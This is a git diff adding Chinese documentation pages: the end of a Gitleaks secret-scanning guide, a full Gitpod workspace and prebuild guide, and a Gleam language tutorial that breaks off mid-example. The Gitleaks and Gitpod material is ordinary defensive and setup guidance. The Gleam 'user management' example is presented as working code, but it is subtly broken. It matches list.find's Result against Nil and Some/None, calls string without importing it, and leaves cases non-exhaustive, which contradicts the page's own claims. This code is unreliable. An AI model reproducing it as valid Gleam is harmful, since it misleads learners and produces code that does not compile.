+- **`.env` 在 `.gitignore` 里不够**：开发者可能误 `git add`，或在测试文件、README 示例、Terraform 变量里硬编码。Gitleaks 扫的是**实际进入版本库的内容**（以及 `dir` 模式下的明文文件）。
+- **合规与供应链**：PCI-DSS、SOC2、ISO 27001 等审计常问「如何防止密钥进入代码库」。在 PR / pre-commit / 定时任务里跑 Gitleaks，是可落地的控制点。
+- **成本极低、收益极高**：开源、单二进制、无 agent；与 [[ansible]]、[[kubernetes]] 流水线、GitHub Actions 集成都只需几行 YAML。官方 [Gitleaks-Action](https://github.com/gitleaks/gitleaks-action) 在组织仓库需免费 License Key，个人账号可直接用。
+
+维护者 2026 年声明 Gitleaks **功能已基本冻结**（后续以安全补丁为主），新能力转向 [Betterleaks](https://github.com/betterleaks/betterleaks)。但对绝大多数团队，v8 的规则库与生态仍足够日常防护。
+
+## 核心要点
+
+Gitleaks 的检测模型可以拆成 **五层**：
+
+1. **扫描模式（Scan Mode）**
+   - `gitleaks git`：通过 `git log -p` 看 patch，能扫**完整提交历史**；可用 `--log-opts` 限定 commit 范围。
+   - `gitleaks dir`：扫目录或单文件，不依赖 Git；适合 CI 里扫构建产物、或未初始化的快照。
+   - `gitleaks stdin`：从管道读入，方便 `cat file | gitleaks stdin` 嵌入自定义流水线。
+
+2. **规则（Rules）**
+   - 每条规则有 `id`、`description`、`regex`（Go 正则，不支持 lookahead）、可选 `entropy`（香农熵下限，过滤低随机字符串）、`keywords`（预过滤加速）、`path`（只匹配特定路径）。
+   - 默认配置内置数百条规则（AWS、GCP、GitHub、Slack、Stripe 等），见上游 [`config/gitleaks.toml`](https://github.com/gitleaks/gitleaks/blob/master/config/gitleaks.toml)。
+   - v8.28+ 支持**复合规则**：主规则 + `[[rules.required]]` 辅助规则，并可用 `withinLines` / `withinColumns` 做邻近匹配，降低误报。
+
+3. **配置加载顺序**
+   1. `--config` / `-c` 指定路径
+   2. 环境变量 `GITLEAKS_CONFIG`（文件路径）
+   3. 环境变量 `GITLEAKS_CONFIG_TOML`（文件内容）
+   4. 目标路径下的 `.gitleaks.toml`
+   5. 以上皆无 → 使用内嵌默认配置
+
+4. **降噪机制**
+   - **Allowlist**：全局 `[[allowlists]]` 或规则级 `[[rules.allowlists]]`，按 commit、路径、正则、stopwords 忽略误报。
+   - **Baseline**：`--baseline-path` 指向旧报告，只报**新增**泄露，适合「历史债太多、先止血再还债」。
+   - **`.gitleaksignore`**：按 finding 的 `Fingerprint` 逐条忽略（实验特性）。
+   - **行内注释**：`#gitleaks:allow` 标记已知测试用假密钥。
+
+5. **报告与集成**
+   - 输出格式：`json`、`csv`、`junit`、`sarif`（可进 GitHub Security / 其他 SARIF 消费者）、自定义 Go template。
+   - 退出码：0 = 无泄露；1 = 有泄露或错误；可用 `--exit-code` 自定义。
+   - 进阶：`--max-decode-depth` 自动解码 Base64/Hex/Percent 嵌套秘密；`--max-archive-depth` 解压 zip/tar 等归档再扫。
+
+简单说：**规则定义「什么算秘密」，三种模式决定「扫哪里」，allowlist/baseline 决定「什么可以暂时不管」，报告格式决定「怎么接进 CI」**。
+
+## 实践案例
+
+### 案例 1：本地仓库全量扫描 + SARIF 报告
+
+适合第一次在自有项目上摸底：
+
+```bash
+cd /path/to/your-repo
+
+# 全历史扫描，详细日志，输出 SARIF 供 GitHub / IDE 消费
+gitleaks git -v \
+  --report-path gitleaks.sarif \
+  --report-format sarif \
+  .
+
+# 只看最近 7 天的 commit（缩小范围、加快反馈）
+gitleaks git -v \
+  --log-opts="--since=7.days" \
+  .
+```
+
+若历史太长、一时修不完，先建 baseline，后续只盯增量：
+
+```bash
+# 第一次：把当前所有发现存成基线
+gitleaks git --report-path baseline.json .
+
+# 之后：只报告 baseline 里没有的新泄露
+gitleaks git \
+  --baseline-path baseline.json \
+  --report-path new-findings.json \
+  .
+```
+
+### 案例 2：自定义规则 + pre-commit 守门
+
+在 monorepo 根目录放 `.gitleaks.toml`，扩展默认规则并屏蔽测试目录：
+
+```toml
+title = "acme gitleaks config"
+
+[extend]
+useDefault = true
+disabledRules = []  # 可按需关闭噪声大的默认规则
+
+[[rules]]
+id = "acme-internal-token"
+description = "Acme internal service token (acme_live_...)"
+regex = '''acme_live_[a-zA-Z0-9]{32}'''
+tags = ["acme", "token"]
+
+[[allowlists]]
+description = "test fixtures and docs examples"
+paths = [
+  '''(?:^|/)tests/fixtures/''',
+  '''(?:^|/)docs/examples/''',
+]
+```
+
+配合 [pre-commit](https://pre-commit.com/) 在提交前阻断：
+
+```yaml
+# .pre-commit-config.yaml
+repos:
+  - repo: https://github.com/gitleaks/gitleaks
+    rev: v8.30.1
+    hooks:
+      - id: gitleaks
+```
+
+```bash
+pre-commit install
+git commit -m "feat: add payment client"   # 含真实密钥时会 Failed
+SKIP=gitleaks git commit -m "..."        # 紧急时跳过（慎用）
+```
+
+代码里故意的假密钥可加注释（仅当你确信安全时）：
+
+```python
+# 文档示例，非生产密钥
+FAKE_STRIPE_KEY = "sk_test_51234567890abcdef"  #gitleaks:allow
+```
+
+### 案例 3：GitHub Actions 持续扫描
+
+在 PR 与定时任务里自动扫，组织账号需配置 `GITLEAKS_LICENSE`（[gitleaks.io](https://gitleaks.io) 免费申请）：
+
+```yaml
+# .github/workflows/gitleaks.yml
+name: gitleaks
+on:
+  pull_request:
+  push:
+    branches: [main]
+  schedule:
+    - cron: "0 4 * * *"   # 每天 4:00 UTC 扫全历史
+
+jobs:
+  scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0   # 必须拉全历史，否则扫不到旧 commit
+
+      - uses: gitleaks/gitleaks-action@v3
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }}
+          GITLEAKS_CONFIG: .gitleaks.toml
+```
+
+`fetch-depth: 0` 是关键细节：默认浅克隆只带最近一次 commit，历史泄露会被漏掉。
+
+## 命令对照（v8.19+ 迁移）
+
+旧版常用的 `detect` / `protect` 已弃用，对应关系：
+
+| 旧命令 | 新写法 |
+|--------|--------|
+| `gitleaks detect` | `gitleaks git` |
+| `gitleaks protect`（pre-commit） | `gitleaks git --pre-commit` 或 pre-commit hook |
+| 扫非 git 目录 | `gitleaks dir` |
+| 管道输入 | `gitleaks stdin` |
+
+Docker 一行跑（挂载当前目录）：
+
+```bash
+docker run --rm -v "$(pwd):/path" ghcr.io/gitleaks/gitleaks:latest \
+  git -v --source /path
+```
+
+## 与其他工具的关系
+
+| 工具 | 侧重点 | 与 Gitleaks 的分工 |
+|------|--------|-------------------|
+| **git-secrets**（AWS） | Git hook + 简单正则 | 更轻，规则少；Gitleaks 规则库与报告更丰富 |
+| **TruffleHog** | 熵 + 验证器（调 API 验密钥是否仍有效） | 误报处理不同；可并用 |
+| **detect-secrets**（Yelp） | 基线 + 插件式检测 | 适合「只关心新增」；Gitleaks 默认 SARIF/CI 生态更熟 |
+| **GitHub Secret Scanning** | 平台侧推送保护 | 对公开/受支持格式自动扫；私有库或自建 Git 仍需 Gitleaks |
+
+Gitleaks 的定位是：**自托管、可定制、能扫完整 Git 历史的开源守门员**——不替代密钥管理服务（Vault、云厂商 Secrets Manager），而是防止秘密**先**以明文形式进入版本库。
+
+## 常见误报与排查
+
+1. **示例文档、单元测试里的假 Key**：用 `[[allowlists]].paths` 或 `#gitleaks:allow`，不要关规则。
+2. **锁文件、vendor、图片二进制**：默认配置已 allowlist 大量 `node_modules`、`package-lock.json` 等；若仍报，检查是否自定义配置覆盖了默认 extend。
+3. **高熵随机字符串**：UUID、hash 可能撞上 `generic-api-key`；用 `stopwords` 或提高 `entropy` 阈值。
+4. **扫描太慢**：`--log-opts="--since=30.days"`、baseline、或 `--max-target-megabytes` 跳过大文件。
+5. **CI 扫不到历史泄露**：检查 `fetch-depth` 是否为 0。
+
+## 学习路径建议
+
+1. **零基础**：`brew install gitleaks` → 在练习仓库 `gitleaks git -v .` 看输出字段含义。
+2. **接进团队**：加 `.gitleaks.toml`（`useDefault = true`）→ pre-commit → GitHub Action + SARIF。
+3. **治理历史债**：全量扫描 → `baseline.json` → 排期轮换密钥 + `git filter-repo` / BFG 清历史（清历史是独立高危操作，需团队协调）。
+4. **深入**：读默认 `gitleaks.toml` 里一条 AWS 规则；试写一条内部 token 正则；了解复合规则与 `--max-decode-depth`。
+
+## 延伸阅读
+
+- 官方仓库与默认配置：[gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
+- 检测思路博文：[Regex is (almost) all you need](https://lookingatcomputer.substack.com/p/regex-is-almost-all-you-need)
+- 高级配置：[Stop Leaking Secrets Configuration 2.3](https://blog.gitleaks.io/stop-leaking-secrets-configuration-2-3-aeed293b1fbf)
+- 命令迁移 gist：[v8.19 detect/protect 迁移](https://gist.github.com/zricethezav/b325bb93ebf41b9c0b0507acf12810d2)
+- 相关笔记：密钥管理与零信任可结合 [[vault]]、[[sigstore-cosign-2022]] 等专题理解「秘密全生命周期」。
+
+---
+
+*最后更新：2026-06-13*
diff --git a/src/content/docs/projects/gitpod.md b/src/content/docs/projects/gitpod.md
new file mode 100644
index 000000000..0e8ac4e0f
--- /dev/null
+++ b/src/content/docs/projects/gitpod.md
@@ -0,0 +1,350 @@
+---
+title: Gitpod — 预构建云开发环境
+来源: https://github.com/gitpod-io/gitpod
+日期: 2026-06-13
+子分类: DevOps 与运维
+分类: 基础设施
+provenance: pipeline-v3
+---
+
+## 日常类比：酒店提前铺好床，你拎包入住
+
+想象你出差住连锁酒店。普通民宿：到了才洗床单、买洗漱用品、通网络，第一晚光「收拾房间」就耗掉一小时。连锁酒店的标准流程是：**在你订房之前，保洁已经把床铺好、Wi‑Fi 测通、迷你吧补满**——你刷卡进门，放下行李箱就能洗澡睡觉。
+
+本地开发像民宿：clone 仓库、`npm install`、起 Docker、配环境变量，每次换分支或帮同事复现 bug，都可能重来一遍。**Gitpod** 做的是「连锁酒店式」的 **Cloud Development Environment（CDE，云开发环境）**：把代码仓库 + 运行环境 + 浏览器里的 [[vscode]]（或 JetBrains）打包成**可一键启动的工作区（Workspace）**。而 **Prebuild（预构建）** 更进一步——在你点「打开工作区」之前，Gitpod 已经在云端跑完 `npm install`、编译、下载依赖，把「铺床」提前做完；你点开链接，几十秒内就能写代码。
+
+项目地址：[gitpod-io/gitpod](https://github.com/gitpod-io/gitpod)，Apache 2.0 开源核心。商用托管在 [gitpod.io](https://gitpod.io)；文档与「Classic Gitpod」产品线也出现在 [Ona](https://ona.com) 品牌下——底层思想不变：**环境即代码（Environment as Code）**，写在仓库根目录的 `.gitpod.yml` 里。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：「在我机器上能跑」
+
+Node 18 还是 20？pnpm 还是 npm？公司内网 CA 证书装没装？新人 onboarding 常卡在环境对齐上。Gitpod 把**可复现环境**写进版本库，所有人从同一份 `.gitpod.yml` 出发，差异只剩「你选 standard 还是 large 规格的工作区」。
+
+### 痛点 2：冷启动太慢
+
+大型 monorepo 首次 `yarn install` 可能要十分钟。没有预构建时，每次新开工作区都要等。 **Prebuild** 在 push / PR 触发时在后台执行 `before` + `init` 阶段，把依赖和编译产物缓存进快照；你真正打开工作区时，往往只需跑 `command`（例如 `npm run dev`），体感接近「秒开」。
+
+### 痛点 3：笔记本不是唯一开发机
+
+编译、集成测试、多容器 Compose 把风扇拉满。Gitpod 把算力放到云端 Linux 容器，本地只跑浏览器或 [[vscode]] Remote；平板、Chromebook 也能做完整开发。工作区闲置会自动停止（timeout），避免云资源像忘关的水龙头。
+
+### 痛点 4：临时环境 vs 长期污染
+
+本地 `node_modules`、全局包、试验性 `export` 越堆越乱。Gitpod 鼓励 **ephemeral workspace（临时工作区）**：修 bug 开一个新的，合并后扔掉；需要保留状态时再用 Snapshot 或持久卷——像住酒店而不是在自己家堆杂物。
+
+---
+
+## 核心概念拆解
+
+### 1. Workspace（工作区）
+
+**Workspace** 是一次「某分支 / 某 commit 上的隔离开发会话」：包含克隆下来的 Git 仓库、容器文件系统、预装的工具链、暴露的端口和 IDE 会话。每个工作区有唯一 ID 和 URL，可用 `gp info`、`gp url` 查询。
+
+工作区生命周期常见状态：**Starting → Running → Stopping → Stopped**。停止后再启动会保留 `/workspace` 下的改动，但 **`init` 任务不会重跑**（只有 `before` 和 `command` 会再执行）——设计意图是：`init` 负责一次性重活，重启只起服务。
+
+### 2. `.gitpod.yml` — 环境的「配方单」
+
+仓库根目录的 YAML 文件，告诉 Gitpod：
+
+- 用什么**镜像**（`image`）
+- 启动时跑哪些**任务**（`tasks`）
+- 暴露哪些**端口**（`ports`）
+- 预装哪些 **VS Code 扩展**（`vscode.extensions`）
+- 环境变量、checkout 路径等
+
+可用 `gp init` / `gp init -i` 交互生成草稿；改完后必须 **commit 并新开工作区** 才生效（仅 restart 不够）。
+
+### 3. Tasks 三阶段：`before` → `init` → `command`
+
+| 阶段 | 何时运行 | 典型用途 | 是否应在预构建中 |
+|------|----------|----------|------------------|
+| `before` | 每次工作区启动 | 装全局 CLI、改 shell 配置 | 可选 |
+| `init` | 创建时一次；有 Prebuild 则在预构建里跑 | `npm install`、`cargo build`、下载模型 | **是** |
+| `command` | 每次启动最后跑 | `npm run dev`、起数据库 | **否**（用户在线时才跑） |
+
+官方建议：耗时长、非交互、只需做一次的事放 `init`；每次启动都要做的短任务放 `before` 或 `command`；长期前台进程放 `command`（可以不退出）。
+
+### 4. Prebuild（预构建）
+
+**Prebuild** 是 Gitpod 相对 GitHub Codespaces 等竞品的核心卖点之一：在代码 push 到指定分支 / 打开 PR 时，Gitpod 后台启动一个「隐形工作区」，只执行 `before` + `init`，然后把结果存成**可复用的快照**。用户随后从该 commit 开工作区时，直接基于快照启动，跳过最慢的步骤。
+
+启用预构建通常需要：
+
+1. 在 Gitpod 控制台把仓库注册为 **Project**
+2. 在控制台或组织策略里配置 **Prebuild 触发规则**（Classic 文档曾用 `.gitpod.yml` 的 `github.prebuilds`，新平台更多在 Dashboard 配置——以当前组织文档为准）
+3. 把重活正确放进 `tasks[].init`
+
+调试预构建可用：`gp validate --prebuild`（只跑 `before` + `init`，模拟预构建结束时的磁盘状态）。
+
+### 5. Project（项目）
+
+**Project** 把 Git 仓库与 Gitpod 组织绑定，集中管理：预构建策略、默认 IDE、工作区规格（workspace class）、成员权限。没有 Project，单次仍可用 `gitpod.io/#<repo-url>` 开工作区，但**预构建、团队策略**等能力会受限。
+
+### 6. 工作区镜像（Workspace Image）
+
+默认常用 `gitpod/workspace-full` 等官方镜像（含 Node、Python、Go、Docker 等）。复杂需求可写 **`.gitpod.Dockerfile`** 并在 `.gitpod.yml` 里引用：
+
+```yaml
+image:
+  file: .gitpod.Dockerfile
+```
+
+镜像里装的系统级依赖（`apt install`）适合 Dockerfile；项目级依赖（`npm ci`）适合 `init`。
+
+### 7. 端口与预览（Ports）
+
+Web 应用监听 3000、8080 等端口时，在 `.gitpod.yml` 声明后，Gitpod 会生成 HTTPS 预览 URL，并在 IDE 里提示打开。CLI 可查：`gp url 3000`。`onOpen: open-preview` 可在端口就绪时自动打开浏览器面板。
+
+### 8. `gp` CLI — 工作区内的瑞士军刀
+
+每个工作区预装 **`gp`**（Gitpod CLI），用于：
+
+- `gp init` — 生成配置
+- `gp validate` / `gp validate --prebuild` — 本地调试配置
+- `gp ports` — 管理端口
+- `gp ssh` — 获取 SSH 连接命令
+- `gp snapshot` — 手动打快照
+- `gp stop` — 停止当前工作区
+
+注意：`gp` 设计为**只在 Gitpod 工作区内使用**，不是给本机安装的全局工具。
+
+### 9. Context URL — 一行链接触发环境
+
+最简启动格式：
+
+```text
+https://gitpod.io/#https://github.com/你的组织/你的仓库
+```
+
+可在 `#` 前加查询参数，例如自动启动、指定编辑器：
+
+```text
+https://gitpod.io/?autostart=true&editor=code#https://github.com/gitpod-io/empty
+```
+
+支持的 `editor` 包括 `code`（浏览器 VS Code）、`code-desktop`（本地 VS Code 连远程）、以及多种 JetBrains IDE。
+
+### 10. 与相关项目的关系
+
+| 维度 | Gitpod | GitHub Codespaces | [[coder]] / 自托管 |
+|------|--------|-------------------|---------------------|
+| 托管 | gitpod.io SaaS 为主 | 绑定 GitHub | 自建基础设施 |
+| 配置 | `.gitpod.yml` | `devcontainer.json` | Terraform 模板 |
+| 预构建 | Prebuild 一等公民 | 有 prebuild | 取决于模板设计 |
+| 开源核心 | gitpod-io/gitpod | 闭源 | coder/coder 等 |
+| IDE | VS Code Web + JetBrains | VS Code 为主 | 多种 |
+
+Gitpod 团队也维护 [[openvscode-server]]——把上游 VS Code 的 Server 构建单独开源，与 Gitpod 商用工作区用的 IDE 技术栈同源。
+
+---
+
+## 代码示例 1：最小可用的 `.gitpod.yml`
+
+下面是一个 Node.js 全栈项目的典型配置：预构建装依赖，启动时只跑 dev server，并暴露前端端口。
+
+```yaml
+# .gitpod.yml — 放在仓库根目录
+image: gitpod/workspace-node-lts
+
+tasks:
+  - name: Install & Dev
+    init: |
+      npm ci
+      npm run build --if-present
+    command: npm run dev
+
+ports:
+  - port: 3000
+    onOpen: open-preview
+    visibility: public
+    name: Web App
+
+vscode:
+  extensions:
+    - dbaeumer.vscode-eslint
+    - esbenp.prettier-vscode
+
+env:
+  NODE_ENV: development
+```
+
+**阅读要点：**
+
+- `init` 里的 `npm ci` 会在 **Prebuild** 阶段执行（若已启用），新开工作区时通常跳过
+- `command` 里的 `npm run dev` 每次启动都会跑，适合长期占用的 dev server
+- `ports[3000]` 让 Gitpod 生成可分享的预览链接，方便给 Reviewer 看 UI
+- 修改此文件后，需要 **push 并新开工作区**（不是 Restart）才能验证
+
+本地在工作区内调试配置（不立刻 commit）：
+
+```bash
+# 模拟「普通启动」：before + init + command 全跑
+gp validate
+
+# 模拟「预构建结束时的磁盘」：只跑 before + init
+gp validate --prebuild
+```
+
+---
+
+## 代码示例 2：自定义 Dockerfile + 多任务并行
+
+monorepo 或需要系统级依赖时，用 Dockerfile 打底层，用多个 task 并行起前后端。
+
+**`.gitpod.Dockerfile`：**
+
+```dockerfile
+FROM gitpod/workspace-full
+
+# 系统级依赖：进镜像，预构建和工作区共享
+RUN sudo apt-get update && sudo apt-get install -y \
+    postgresql-client \
+    redis-tools \
+    && sudo rm -rf /var/lib/apt/lists/*
+```
+
+**`.gitpod.yml`：**
+
+```yaml
+image:
+  file: .gitpod.Dockerfile
+
+tasks:
+  - name: Backend API
+    init: |
+      cd apps/api
+      pip install -r requirements.txt
+    command: |
+      cd apps/api
+      uvicorn main:app --host 0.0.0.0 --port 8000
+
+  - name: Frontend
+    init: |
+      cd apps/web
+      npm ci
+    command: |
+      cd apps/web
+      npm run dev
+
+ports:
+  - port: 8000
+    onOpen: open-preview
+    name: API
+  - port: 5173
+    onOpen: open-preview
+    name: Vite Dev
+
+vscode:
+  extensions:
+    - ms-python.python
+    - bradlc.vscode-tailwindcss
+```
+
+**阅读要点：**
+
+- 每个 `tasks` 数组元素在**独立终端**里跑；同一元素内的 `before`/`init`/`command` 才顺序执行
+- 两个服务的 `init` 都可被 Prebuild 提前完成；用户打开工作区时两个 `command` 并行启动
+- `apt` 装系统包放 Dockerfile；`pip`/`npm` 装项目依赖放 `init`，符合「预构建缓存项目状态」的最佳实践
+
+---
+
+## 从零上手：第一次用 Gitpod
+
+### 步骤 1：注册并连接 Git 提供商
+
+在 [gitpod.io](https://gitpod.io) 用 GitHub / GitLab / Bitbucket 登录，授权读取需要开发的仓库。
+
+### 步骤 2：为仓库添加 `.gitpod.yml`
+
+在目标仓库根目录提交配置（见上文示例）。不确定时可先在任意 Gitpod 工作区里对空项目运行 `gp init -i`，再把生成结果拷回仓库。
+
+### 步骤 3：（推荐）创建 Project 并开启 Prebuild
+
+控制台 → **Projects** → 导入仓库 → 配置 Prebuild 触发分支（如 `main`、PR）。首次 push 带 `.gitpod.yml` 的 commit 后，在 Project 的 **Prebuilds** 页可看到后台构建日志。
+
+### 步骤 4：打开工作区
+
+任选其一：
+
+- 浏览器地址栏：`https://gitpod.io/#<你的仓库 HTTPS URL>`
+- 安装 Gitpod 浏览器扩展，在 GitHub PR / commit 页点 **Open in Gitpod**
+- 控制台从 Project 里选分支启动
+
+### 步骤 5：开发、分享、收尾
+
+- 用 `gp url <port>` 拿预览链接发给同事
+- 用 `gp snapshot` 在实验性大改前留备份
+- 用 `gp stop` 或等 timeout 停止工作区，避免浪费配额
+
+---
+
+## Prebuild 工作流（心智模型）
+
+```text
+开发者 push 到 main
+        │
+        ▼
+Gitpod Project 触发 Prebuild
+        │
+        ├─ clone 仓库 @ 该 commit
+        ├─ 执行 tasks.before（若有）
+        ├─ 执行 tasks.init（npm ci, build…）
+        └─ 冻结磁盘快照，标记为「可用预构建」
+        │
+        ▼
+同事点击 gitpod.io/#… 或 PR 上的 Open
+        │
+        ├─ 基于快照启动（跳过 init）
+        ├─ 执行 tasks.before（若有）
+        └─ 执行 tasks.command（npm run dev…）
+        │
+        ▼
+Running：浏览器 IDE 可写代码、终端可调试
+```
+
+若 Prebuild 失败，控制台通常会有 CI 式检查；Classic 配置曾支持 `addCheck: prevent-merge-on-error`，避免在环境没准备好时合并 PR。
+
+---
+
+## 常见坑与最佳实践
+
+1. **把 `npm run dev` 写进 `init`** — 预构建会卡住或产生无意义的快照；长期进程应放 `command`。
+2. **修改 `.gitpod.yml` 只 Restart** — 不会重新读配置；必须 **新开工作区**。
+3. **在 `/workspace` 外写文件** — 停止后可能丢失；持久化数据应放在 `/workspace` 或显式卷。
+4. **多个 `-` 写错 tasks 结构** — 三个独立 `-` 会并行开三个终端；同一任务的三阶段应写在**同一个** `-` 块里。
+5. **预构建未启用却期望秒开** — 确认 Project、分支策略、以及 `init` 是否确实可缓存。
+6. **Secrets** — 不要把 token 写进 `.gitpod.yml`；用 Gitpod 控制台或 `gp env` 注入环境变量。
+
+---
+
+## 和 Dev Container 的对比（怎么选）
+
+**Dev Container**（`.devcontainer/devcontainer.json`）是 VS Code / Codespaces 生态的标准；**Gitpod** 用 `.gitpod.yml`，概念相似但字段不同。若团队已全量 Codespaces，迁移成本需评估；若想要**跨 Git 托管 + 强 Prebuild + JetBrains 云端 IDE**，Gitpod 更对口。也有团队两者并存：Dev Container 描述容器，Gitpod 负责编排与预构建——以组织实际文档为准。
+
+自托管、数据主权要求极高时，应看 [[coder]]、[[code-server]] + K8s 等方案；Gitpod 开源核心可研究，但「一键 SaaS 体验」仍是 gitpod.io 的主战场。
+
+---
+
+## 小结
+
+| 你记住这一句 | 展开 |
+|--------------|------|
+| Gitpod = 浏览器里的完整开发机 | 仓库 + IDE + 终端 + 预览 URL |
+| `.gitpod.yml` = 环境配方 | 镜像、任务、端口、扩展全在这里 |
+| Prebuild = 提前铺床 | `init` 在 push 时跑完，打开近乎秒开 |
+| `init` 一次，`command` 每次 | 重启工作区不会重跑 `init` |
+| `gp validate --prebuild` | 调试预构建的利器 |
+
+Gitpod 不是「把笔记本屏幕投到云端」那么简单；它把**可复现环境**和**预构建快照**产品化，让「开一个干净、就绪的开发环境」像订酒店一样可预期。对开源贡献者、远程团队、大依赖 monorepo 来说，Prebuild 省下的每天十分钟 `npm install`，一年就是几十小时——足够多修好几个 bug。
+
+---
+
+## 延伸阅读
+
+- 官方文档：[Configure workspaces overview](https://www.gitpod.io/docs/classic/user/configure/workspaces/overview)
+- `.gitpod.yml` 完整字段：[Reference](https://www.gitpod.io/docs/classic/user/references/gitpod-yml)
+- 源码与 issue：[gitpod-io/gitpod](https://github.com/gitpod-io/gitpod)
+- 相关笔记：[[openvscode-server]]、[[coder]]、[[vscode]]、[[code-server]]
diff --git a/src/content/docs/projects/gleam.md b/src/content/docs/projects/gleam.md
new file mode 100644
index 000000000..c3c2a33da
--- /dev/null
+++ b/src/content/docs/projects/gleam.md
@@ -0,0 +1,371 @@
+---
+title: Gleam — 静态类型 BEAM 语言
+来源: https://github.com/gleam-lang/gleam
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Gleam — 静态类型 BEAM 语言
+
+## 一、Gleam 是什么？（日常类比版）
+
+想象一下你要建一座房子。
+
+- **Python** 像是给你一堆砖头，你自己搬、自己砌——灵活，但如果某块砖放错了位置，房子可能住到一半才塌。
+- **C** 像是给你一套精密的机床——强大到能造火箭，但你需要知道每一颗螺丝的扭矩。
+- **Gleam** 像是给你一套**带说明书的预制模块**。每块砖上写着"承重墙专用"或"装饰面板专用"，你在搭建的时候，如果拿错了模块，建造工具立刻告诉你："等等，这块砖不能用在屋顶上！"——**在房子还没建好之前，你就发现了错误**。
+
+Gleam 就是这样一种语言：它让你在设计阶段就发现 bug，而不是等程序上线了才崩溃。
+
+## 二、为什么叫 BEAM 语言？
+
+BEAM 是 Erlang 虚拟机（Virtual Machine）的名字。你可以把它理解为**一个超级耐用的发动机**：
+
+- WhatsApp 用它来处理每天数十亿条消息
+- Ericsson 用它来管理电信网络
+- 它能同时运行数百万个"绿色线程"（lightweight processes），而且一个线程崩了不会影响其他线程
+
+Gleam 编译成 BEAM 字节码后，直接跑在这个发动机上。**你得到了静态类型的安全感，同时继承了 Erlang 几十年的高并发、容错经验。**
+
+此外，Gleam 还能编译成 JavaScript，在浏览器里运行。
+
+## 三、核心概念
+
+### 1. 静态类型系统——编译时的"守门员"
+
+Gleam 在编译时就检查所有类型。没有 `null`，没有异常，没有隐式转换。如果代码能编译通过，基本可以确信不会有"空指针引用"这类经典 bug。
+
+```gleam
+import gleam/io
+
+pub fn main() {
+  // 类型推断：编译器自动知道 age 是 Int
+  let age = 25
+  io.println("Age is: " <> gleam/int.to_string(age))
+
+  // 如果你写成 io.println(age)，编译器会报错：
+  // "Expected type String but found type Int"
+  // ——在运行之前就抓住了错误
+}
+```
+
+### 2. 不可变数据——像照片，不像便签
+
+在 Gleam 中，变量一旦绑定就不可更改。这就像你拍了一张照片——你可以再拍一张新的，但不能修改原来的那张。
+
+```gleam
+pub fn main() {
+  let name = "Alice"
+  // name = "Bob"  // ❌ 编译错误：不能重新赋值
+
+  // 正确的做法：创建一个新的绑定
+  let name = "Bob"  // ✅ 创建了新的绑定，旧的 "Alice" 还在内存里
+}
+```
+
+这听起来有点麻烦，但实际上它消除了大量"意外修改"导致的 bug。
+
+### 3. 模式匹配——数据的"拆礼物"
+
+模式匹配是 Gleam 最强大的特性之一。你可以把数据结构看作一个礼物盒，用 `case` 语句一层层拆开它，根据里面的内容做不同的事情。
+
+```gleam
+pub type UserStatus {
+  Active
+  Inactive
+  Banned(reason: String)
+}
+
+pub fn greet(status: UserStatus) -> String {
+  case status {
+    Active -> "Welcome back!"
+    Inactive -> "We miss you!"
+    Banned(reason) -> "You've been banned because: " <> reason
+  }
+}
+```
+
+Gleam 还会**穷举检查**：如果你漏掉了某个分支，编译器会提醒你。
+
+### 4. Result 类型——没有异常的错误处理
+
+Gleam 不使用 `try/catch` 异常机制。所有可能失败的函数返回一个 `Result` 值：
+
+- `Ok(value)` — 成功了，里面装着结果
+- `Error(error)` — 失败了，里面装着错误原因
+
+调用者**必须**处理这两种情况，编译器会强制你这么做。
+
+### 5. 管道操作符 `|>`——从左到右读代码
+
+管道操作符把前一步的结果传给下一个函数，让代码像流水一样自然流淌：
+
+```gleam
+"hello world"
+|> string.uppercase
+|> string.replace("WORLD", "Gleam")
+|> io.println
+// 输出: HELLO GLEAM
+```
+
+### 6. 自定义类型——定义你自己的"数据类型"
+
+Gleam 允许你创建全新的类型，而不仅仅是使用内置的整数、字符串等。
+
+## 四、代码示例
+
+### 示例 1：一个简单的用户管理系统
+
+这个例子展示了自定义类型、记录、模式匹配和 Result 类型的综合使用。
+
+```gleam
+import gleam/io
+import gleam/list
+
+// 定义一个用户类型
+pub type User {
+  User(
+    id: Int,
+    name: String,
+    email: String,
+    role: Role,
+  )
+}
+
+// 定义角色类型——只有三种可能的角色
+pub type Role {
+  Admin
+  Moderator
+  Member
+}
+
+// 定义可能的错误类型
+pub type UserError {
+  UserNotFound
+  DuplicateEmail
+  InvalidRole
+}
+
+// 创建一个新用户，返回 Result
+pub fn create_user(
+  id: Int,
+  name: String,
+  email: String,
+  role: Role,
+  existing_users: List(User),
+) -> Result(User, UserError) {
+  // 检查邮箱是否重复
+  case list.find(existing_users, fn(u) { u.email == email }) {
+    Ok(_) -> Error(DuplicateEmail)
+    Nil -> {
+      // 检查角色是否为 Admin（这里简化处理）
+      Ok(User(id: id, name: name, email: email, role: role))
+    }
+  }
+}
+
+// 查找用户——展示模式匹配
+pub fn find_user(id: Int, users: List(User)) -> Result(User, UserError) {
+  case list.find(users, fn(u) { u.id == id }) {
+    Some(user) -> Ok(user)
+    None -> Error(UserNotFound)
+  }
+}
+
+// 获取用户角色名称——展示模式匹配
+pub fn role_name(role: Role) -> String {
+  case role {
+    Admin -> "管理员"
+    Moderator -> "版主"
+    Member -> "普通成员"
+  }
+}
+
+// 列出所有用户——展示列表操作
+pub fn list_all_users(users: List(User)) -> String {
+  users
+  |> list.map(fn(u) { u.name <> " (" <> role_name(u.role) <> ")" })
+  |> string.join(", ")
+}
+
+pub fn main() {
+  let users = [
+    User(id: 1, name: "Alice", email: "alice@example.com", role: Admin),
+    User(id: 2, name: "Bob", email: "bob@example.com", role: Member),
+  ]
+
+  // 查找存在的用户
+  case find_user(1, users) {
+    Ok(user) -> io.println("找到用户: " <> user.name)
+    Error(UserNotFound) -> io.println("用户不存在")
+  }
+
+  // 查找不存在的用户
+  case find_user(99, users) {
+    Ok(user) -> io.println("找到用户: " <> user.name)
+    Error(UserNotFound) -> io.println("❌ 用户不存在")
+  }
+
+  // 尝试创建重复邮箱的用户
+  case create_user(3, "Charlie", "alice@example.com", Member, users) {
+    Ok(_) -> io.println("创建成功")
